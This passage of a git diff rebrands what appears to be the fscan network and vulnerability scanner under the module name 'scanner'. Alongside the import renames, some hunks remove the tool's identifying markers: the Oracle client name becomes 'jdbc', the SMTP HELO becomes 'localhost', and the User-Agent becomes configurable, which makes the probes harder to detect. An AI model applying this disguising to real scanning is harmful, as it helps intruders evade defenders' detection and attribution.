nullWriter struct{} diff --git a/plugins/services/mysql_test.go b/plugins/services/mysql_test.go index 7ab861ee..ea6f46d7 100644 --- a/plugins/services/mysql_test.go +++ b/plugins/services/mysql_test.go @@ -11,7 +11,7 @@ import ( "time" "github.com/go-sql-driver/mysql" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) type chunkedMySQLConn struct { diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index b4c5fb56..f1d2f712 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -8,9 +8,9 @@ import ( "net/http" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // Neo4jPlugin Neo4j扫描插件 diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 44bfcacf..956d8052 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -11,9 +11,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // NetBIOSPlugin NetBIOS名称服务扫描插件 - 收集Windows主机名和域信息 diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index cfeccd58..dba77aa1 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -9,8 +9,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type NFSPlugin struct { diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 106132fb..62b30e27 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -6,9 +6,9 @@ import ( "context" "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // OraclePlugin Oracle扫描插件 diff --git a/plugins/services/oracle_raw.go b/plugins/services/oracle_raw.go index 21160b22..f679b858 100644 --- a/plugins/services/oracle_raw.go +++ b/plugins/services/oracle_raw.go @@ -1467,7 +1467,7 @@ func (s *oracleSession) writeAuthResponse(auth *oracleAuthObject, nego *oracleTC key string val string flag uint8 - }{"SESSION_CLIENT_DRIVER_NAME", "fscan", 0}, + }{"SESSION_CLIENT_DRIVER_NAME", "jdbc", 0}, struct { key string val string diff --git a/plugins/services/oracle_raw_test.go b/plugins/services/oracle_raw_test.go index 94d8794e..b6b13dc9 100644 --- a/plugins/services/oracle_raw_test.go +++ b/plugins/services/oracle_raw_test.go @@ -17,7 +17,7 @@ import ( func TestOracleConnectDataDoesNotExposeClientIdentity(t *testing.T) { connectData := oracleConnectData("db.example", 1521, "ORCL") - for _, value := range []string{"CID=", "PROGRAM=", "USER=", "fscan"} { + for _, value := range []string{"CID=", "PROGRAM=", "USER=", "jdbc"} { if bytes.Contains([]byte(connectData), []byte(value)) { t.Fatalf("oracle connect data contains client-identifying value %q: %s", value, connectData) } diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index a83d8a56..aaa0b36e 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -9,8 +9,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type POP3Plugin struct { diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index f0761ff5..5ae73aa1 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -11,9 +11,9 @@ import ( "strings" _ "github.com/lib/pq" // PostgreSQL driver - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // PostgreSQLPlugin PostgreSQL扫描插件 diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go index f7dd0bdf..428084eb 100644 --- a/plugins/services/postgresql_test.go +++ b/plugins/services/postgresql_test.go @@ -7,7 +7,7 @@ import ( "strings" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 216a3011..b550c59e 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -12,9 +12,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // RabbitMQPlugin RabbitMQ扫描插件 diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index 73281e4f..0a13621c 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -7,12 +7,12 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/login" - "github.com/shadow1ng/fscan/libs/grdp/protocol/x224" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/login" + "scanner/libs/grdp/protocol/x224" + "scanner/plugins" ) // RDPPlugin RDP远程桌面服务扫描插件 - 真实RDP认证和系统指纹识别 diff --git a/plugins/services/rdp_test.go b/plugins/services/rdp_test.go index 442636c0..b306bd4b 100644 --- a/plugins/services/rdp_test.go +++ b/plugins/services/rdp_test.go @@ -5,7 +5,7 @@ package services import ( "testing" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) func TestBuildBanner(t *testing.T) { diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 34b9d4cf..c07cabbd 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -13,9 +13,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // RedisPlugin Redis数据库扫描和利用插件 diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index f621768f..237ba0f0 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // Java RMI protocol magic: "JRMI" + version 2 + StreamProtocol diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 13507527..78c20d7f 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -11,9 +11,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "go.ciq.dev/go-rsync/rsync" ) diff --git a/plugins/services/smb.go b/plugins/services/smb.go index 8bbc86eb..3b80e35d 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -7,9 +7,9 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // SmbPlugin 统一SMB检测插件 diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index 91014c44..4e387537 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -15,8 +15,8 @@ import ( "time" "github.com/hirochachacha/go-smb2" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" "github.com/stacktitan/smb/smb" ) diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index dece6892..99528284 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -9,9 +9,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // SMTPPlugin SMTP扫描插件 @@ -250,7 +250,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI } defer func() { _ = client.Quit() }() - if err := client.Hello("fscan.test"); err != nil { + if err := client.Hello("localhost"); err != nil { resultChan <- nil return } @@ -302,12 +302,12 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s } defer func() { _ = client.Quit() }() - if err := client.Hello("fscan.test"); err != nil { + if err := client.Hello("localhost"); err != nil { resultChan <- nil return } - if err := client.Mail("test@fscan.test"); err != nil { + if err := client.Mail("test@localhost.localdomain"); err != nil { resultChan <- nil return } @@ -349,7 +349,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) - if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { + if _, heloWriteErr := fmt.Fprintf(conn, "HELO localhost\r\n"); heloWriteErr != nil { resultChan <- nil return } @@ -419,7 +419,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) - if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { + if _, heloWriteErr := fmt.Fprintf(conn, "HELO localhost\r\n"); heloWriteErr != nil { resultChan <- nil return } diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index 02a64a99..616e4480 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -9,8 +9,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type SNMPPlugin struct { diff --git a/plugins/services/snmp_test.go b/plugins/services/snmp_test.go index bfd8360d..6ade6ea4 100644 --- a/plugins/services/snmp_test.go +++ b/plugins/services/snmp_test.go @@ -6,7 +6,7 @@ import ( "encoding/asn1" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // --- buildSNMPGetRequest --- diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index ca01af75..2c3ef6e8 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -12,9 +12,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "golang.org/x/crypto/ssh" ) diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index eeefd88d..3284ddfd 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -11,9 +11,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // Telnet协议时间常量 diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 2bf58369..a5c71eec 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -8,8 +8,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type TFTPPlugin struct { diff --git a/plugins/services/types.go b/plugins/services/types.go index 8a46fe92..5b477a50 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -4,8 +4,8 @@ import ( "context" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // 插件接口定义 - 统一命名风格 diff --git a/plugins/services/udp_parsers_test.go b/plugins/services/udp_parsers_test.go index a5cfd845..a69245fa 100644 --- a/plugins/services/udp_parsers_test.go +++ b/plugins/services/udp_parsers_test.go @@ -7,7 +7,7 @@ import ( "strings" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestDNSRootNSQueryAndResponse(t *testing.T) { diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 9d6aec38..40c541f9 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -8,9 +8,9 @@ import ( "time" vnc "github.com/mitchellh/go-vnc" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // VNCPlugin VNC扫描插件 diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index 40561b24..f1931ca0 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -7,8 +7,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type ZooKeeperPlugin struct { diff --git a/plugins/web/types.go b/plugins/web/types.go index 483743b8..7be8b89d 100644 --- a/plugins/web/types.go +++ b/plugins/web/types.go @@ -3,8 +3,8 @@ package web import ( "context" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // WebPlugin Web插件接口 - 使用智能HTTP检测,不需要预定义端口 diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index c97dfede..31c80999 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -6,10 +6,10 @@ import ( "context" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - WebScan "github.com/shadow1ng/fscan/webscan" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" + WebScan "scanner/webscan" ) // CDN/WAF指纹列表,检测到这些指纹时跳过漏洞扫描 diff --git a/plugins/web/webpoc_test.go b/plugins/web/webpoc_test.go index de181717..db34eea3 100644 --- a/plugins/web/webpoc_test.go +++ b/plugins/web/webpoc_test.go @@ -4,7 +4,7 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestMatchCDNorWAF(t *testing.T) { diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index f2aed0cf..d13faf0e 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -15,13 +15,13 @@ import ( "time" "unicode/utf8" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/plugins" - WebScan "github.com/shadow1ng/fscan/webscan" - "github.com/shadow1ng/fscan/webscan/fingerprint" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/i18n" + "scanner/core" + "scanner/plugins" + WebScan "scanner/webscan" + "scanner/webscan/fingerprint" + "scanner/webscan/lib" ) const maxWebTitleBodyBytes = 2 << 20 @@ -155,7 +155,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, return "", 0, 0, "", nil, displayURL, err } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) // 先使用不跟随重定向的Client获取原始响应 resp, err := clientNR.Do(req) @@ -192,7 +192,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, // 发送跟随重定向的请求 reqRedirect, err := http.NewRequestWithContext(ctx, "GET", redirectURL, nil) if err == nil { - reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + reqRedirect.Header.Set("User-Agent", common.HTTPUserAgent(config)) respRedirect, err := clientR.Do(reqRedirect) if err == nil { bodyRedirect, err := readWebTitleBody(respRedirect.Body) @@ -453,7 +453,11 @@ func (p *WebTitlePlugin) fetchFaviconHashWithSession(ctx context.Context, baseUR if err != nil { return fingerprint.FaviconHashes{} } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + var config *common.Config + if session != nil { + config = session.Config + } + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) _, client := sessionWebTitleHTTPClients(session, false) resp, err := client.Do(req) diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go index 6d441aa3..b5723cf9 100644 --- a/plugins/web/webtitle_test.go +++ b/plugins/web/webtitle_test.go @@ -7,7 +7,8 @@ import ( "testing" "unicode/utf8" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/webscan/lib" ) type faviconRoundTripper struct { @@ -277,6 +278,28 @@ func TestFetchFaviconHashNon200(t *testing.T) { } } +func TestFetchFaviconUsesConfiguredUserAgent(t *testing.T) { + previous := lib.Client + config := common.NewConfig() + config.HTTP.UserAgent = "Scanner-Test/1.0" + session := common.NewScanSession(config, common.NewState(), &common.FlagVars{}) + + lib.Client = &http.Client{ + Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) { + if got := req.UserAgent(); got != config.HTTP.UserAgent { + t.Fatalf("User-Agent = %q, want %q", got, config.HTTP.UserAgent) + } + return &http.Response{StatusCode: http.StatusNotFound, Body: http.NoBody}, nil + }), + } + defer func() { lib.Client = previous }() + + hashes := NewWebTitlePlugin().fetchFaviconHashWithSession(context.Background(), "http://example.com", session) + if len(hashes.MMH3) != 0 || len(hashes.MD5) != 0 { + t.Fatalf("non-200 favicon returned hashes: %#v", hashes) + } +} + func TestFetchFaviconHashBadURL(t *testing.T) { p := NewWebTitlePlugin() // 无效 URL 应返回空 hash,不 panic diff --git a/tests/integration/integration_test.go b/tests/integration/integration_test.go index 35166af0..f9dc2df6 100644 --- a/tests/integration/integration_test.go +++ b/tests/integration/integration_test.go @@ -9,9 +9,9 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/plugins/services" + "scanner/common" + "scanner/common/config" + "scanner/plugins/services" ) const ( diff --git a/webscan/fingerprint/README.md b/webscan/fingerprint/README.md index a76b4c62..2b18b82c 100644 --- a/webscan/fingerprint/README.md +++ b/webscan/fingerprint/README.md @@ -83,7 +83,7 @@ fscan现在集成了[FingerprintHub](https://github.com/0x727/FingerprintHub)的 ### 基本用法 ```go -import "github.com/shadow1ng/fscan/webscan/fingerprint" +import "scanner/webscan/fingerprint" // 自动加载并匹配 body := []byte("...") diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index 3739b6e5..51970301 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -12,7 +12,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) //go:embed web_fingerprint_v4.json diff --git a/webscan/fingerprint/rules.go b/webscan/fingerprint/rules.go index 5454a10d..2cf6d357 100644 --- a/webscan/fingerprint/rules.go +++ b/webscan/fingerprint/rules.go @@ -3,7 +3,7 @@ package fingerprint import ( "regexp" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // RuleData 指纹识别规则数据 diff --git a/webscan/fingerprint_scanner.go b/webscan/fingerprint_scanner.go index 6030735f..1682da23 100644 --- a/webscan/fingerprint_scanner.go +++ b/webscan/fingerprint_scanner.go @@ -4,7 +4,7 @@ import ( "crypto/md5" //nolint:gosec // G501: MD5用于内容指纹识别,非加密用途 "fmt" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "scanner/webscan/fingerprint" ) // CheckDatas 存储HTTP响应的检查数据 diff --git a/webscan/fingerprint_scanner_test.go b/webscan/fingerprint_scanner_test.go index 6a7b36c2..b67f1e58 100644 --- a/webscan/fingerprint_scanner_test.go +++ b/webscan/fingerprint_scanner_test.go @@ -5,7 +5,7 @@ import ( "fmt" "testing" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "scanner/webscan/fingerprint" ) // ============================================================================= diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 7a9a02f0..c2207246 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -14,9 +14,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common" + "scanner/common/i18n" + "scanner/common/proxy" gmtls "github.com/tjfoc/gmsm/gmtls" "gopkg.in/yaml.v2" ) @@ -481,7 +481,7 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) { } // 转换为fscan内部格式 - poc, err := universalPoc.ToFscanPoc() + poc, err := universalPoc.ToNativePoc() if err != nil { return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err) } diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index ebcd8f9a..73ec36c4 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -22,8 +22,8 @@ import ( "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) diff --git a/webscan/lib/client_test.go b/webscan/lib/client_test.go index 6acaadbb..33e06619 100644 --- a/webscan/lib/client_test.go +++ b/webscan/lib/client_test.go @@ -4,7 +4,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" "gopkg.in/yaml.v2" ) diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 597414ea..6980a8ab 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -4,7 +4,7 @@ import ( "fmt" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" "gopkg.in/yaml.v2" ) @@ -12,8 +12,8 @@ import ( type PocFormat string const ( - // FormatFscan fscan原生格式 - FormatFscan PocFormat = "fscan" + // FormatNative scanner原生格式 + FormatNative PocFormat = "native" // FormatNuclei Nuclei格式 FormatNuclei PocFormat = "nuclei" // FormatXray xray格式 @@ -55,7 +55,7 @@ func (l yamlStringList) String() string { type UniversalPoc interface { GetName() string // 获取POC名称 GetFormat() PocFormat // 获取格式类型 - ToFscanPoc() (*Poc, error) // 转换为fscan内部格式 + ToNativePoc() (*Poc, error) // 转换为fscan内部格式 } // DetectPocFormat 检测POC格式 @@ -105,11 +105,11 @@ func DetectPocFormat(data []byte) PocFormat { if rules, hasRules := raw["rules"]; hasRules { // 检查 rules 是否为数组(fscan 风格) if _, isArray := rules.([]interface{}); isArray { - return FormatFscan + return FormatNative } } if _, hasGroups := raw["groups"]; hasGroups { - return FormatFscan + return FormatNative } } @@ -121,8 +121,8 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { format := DetectPocFormat(data) switch format { - case FormatFscan: - return loadFscanPoc(data) + case FormatNative: + return loadNativePoc(data) case FormatNuclei: return loadNucleiPoc(data) case FormatXray: @@ -136,31 +136,31 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { // ============= fscan格式适配器 ============= -// FscanPocAdapter fscan原生格式适配器 -type FscanPocAdapter struct { +// NativePocAdapter fscan原生格式适配器 +type NativePocAdapter struct { *Poc } -func loadFscanPoc(data []byte) (*FscanPocAdapter, error) { +func loadNativePoc(data []byte) (*NativePocAdapter, error) { var poc Poc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_fscan_format_parse_failed"), err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_native_format_parse_failed"), err) } - return &FscanPocAdapter{&poc}, nil + return &NativePocAdapter{&poc}, nil } // GetName 获取POC名称 -func (f *FscanPocAdapter) GetName() string { +func (f *NativePocAdapter) GetName() string { return f.Name } // GetFormat 获取POC格式类型 -func (f *FscanPocAdapter) GetFormat() PocFormat { - return FormatFscan +func (f *NativePocAdapter) GetFormat() PocFormat { + return FormatNative } -// ToFscanPoc 转换为Fscan POC格式 -func (f *FscanPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 转换为Fscan POC格式 +func (f *NativePocAdapter) ToNativePoc() (*Poc, error) { return f.Poc, nil } @@ -222,8 +222,8 @@ func (n *NucleiPocAdapter) GetFormat() PocFormat { return FormatNuclei } -// ToFscanPoc 将Nuclei格式转换为fscan格式 -func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将Nuclei格式转换为fscan格式 +func (n *NucleiPocAdapter) ToNativePoc() (*Poc, error) { poc := &Poc{ Name: n.GetName(), Detail: Detail{ @@ -440,8 +440,8 @@ func (x *XrayPocAdapter) GetFormat() PocFormat { return FormatXray } -// ToFscanPoc 将xray格式转换为fscan格式 -func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将xray格式转换为fscan格式 +func (x *XrayPocAdapter) ToNativePoc() (*Poc, error) { poc := &Poc{ Name: x.Name, Detail: x.Detail, @@ -542,8 +542,8 @@ func (a *AfrogPocAdapter) GetFormat() PocFormat { return FormatAfrog } -// ToFscanPoc 将afrog格式转换为fscan格式 -func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { +// ToNativePoc 将afrog格式转换为fscan格式 +func (a *AfrogPocAdapter) ToNativePoc() (*Poc, error) { // 转换元数据(使用 Nuclei 风格的 info) poc := &Poc{ Name: a.GetName(), diff --git a/webscan/lib/poc_adapter_example_test.go b/webscan/lib/poc_adapter_example_test.go index 48c9a52a..2a347f15 100644 --- a/webscan/lib/poc_adapter_example_test.go +++ b/webscan/lib/poc_adapter_example_test.go @@ -35,7 +35,7 @@ detail: fmt.Printf(" ✓ 格式: %s\n", poc1.GetFormat()) fmt.Printf(" ✓ 名称: %s\n", poc1.GetName()) - fscanPoc1, _ := poc1.ToFscanPoc() + fscanPoc1, _ := poc1.ToNativePoc() fmt.Printf(" ✓ 规则数: %d\n", len(fscanPoc1.Rules)) fmt.Println() @@ -76,7 +76,7 @@ http: fmt.Printf(" ✓ 格式: %s\n", poc2.GetFormat()) fmt.Printf(" ✓ 名称: %s\n", poc2.GetName()) - fscanPoc2, _ := poc2.ToFscanPoc() + fscanPoc2, _ := poc2.ToNativePoc() fmt.Printf(" ✓ 规则数: %d (Nuclei的2个path转为2个rule)\n", len(fscanPoc2.Rules)) fmt.Printf(" ✓ 第一条规则表达式: %s\n", fscanPoc2.Rules[0].Expression[:80]+"...") fmt.Println() @@ -94,7 +94,7 @@ http: `name: test rules: - method: GET`, - FormatFscan, + FormatNative, }, { "Nuclei格式", @@ -154,7 +154,7 @@ http: fmt.Println("特性1: Nuclei matcher 转换") poc, _ := LoadUniversalPoc("demo.yaml", []byte(nucleiYaml)) - fscanPoc, _ := poc.ToFscanPoc() + fscanPoc, _ := poc.ToNativePoc() fmt.Printf(" 原始: Nuclei format with 2 matchers\n") fmt.Printf(" 转换: fscan expression\n") @@ -179,7 +179,7 @@ http: ` poc2, _ := LoadUniversalPoc("multi.yaml", []byte(multiPathYaml)) - fscanPoc2, _ := poc2.ToFscanPoc() + fscanPoc2, _ := poc2.ToNativePoc() fmt.Printf(" 原始: 3个 path\n") fmt.Printf(" 转换: %d 个 rule\n", len(fscanPoc2.Rules)) diff --git a/webscan/lib/poc_adapter_realworld_test.go b/webscan/lib/poc_adapter_realworld_test.go index 0315fdee..50082ab7 100644 --- a/webscan/lib/poc_adapter_realworld_test.go +++ b/webscan/lib/poc_adapter_realworld_test.go @@ -39,9 +39,9 @@ func TestXrayRealPoc(t *testing.T) { t.Run("转换为fscan格式", func(t *testing.T) { poc, _ := LoadUniversalPoc("74cms-sqli-1.yml", data) - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if fscanPoc.Name != "poc-yaml-74cms-sqli-1" { @@ -104,9 +104,9 @@ func TestAfrogRealPoc(t *testing.T) { t.Run("转换为fscan格式", func(t *testing.T) { poc, _ := LoadUniversalPoc("CNVD-2020-62422.yaml", data) - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if fscanPoc.Name != "致远oa系统存在任意文件读取漏洞" { @@ -162,9 +162,9 @@ func TestAfrogMultiRulePoc(t *testing.T) { t.Fatalf("LoadUniversalPoc() error = %v", err) } - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } // 这个 POC 有 r0 和 r1 两个规则 @@ -207,9 +207,9 @@ func TestXrayMultiRulePoc(t *testing.T) { t.Fatalf("LoadUniversalPoc() error = %v", err) } - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } // 这个 POC 有 r0, r1, r2, r3 四个规则 @@ -244,7 +244,7 @@ func TestFormatDetectionComparison(t *testing.T) { { name: "fscan格式", path: 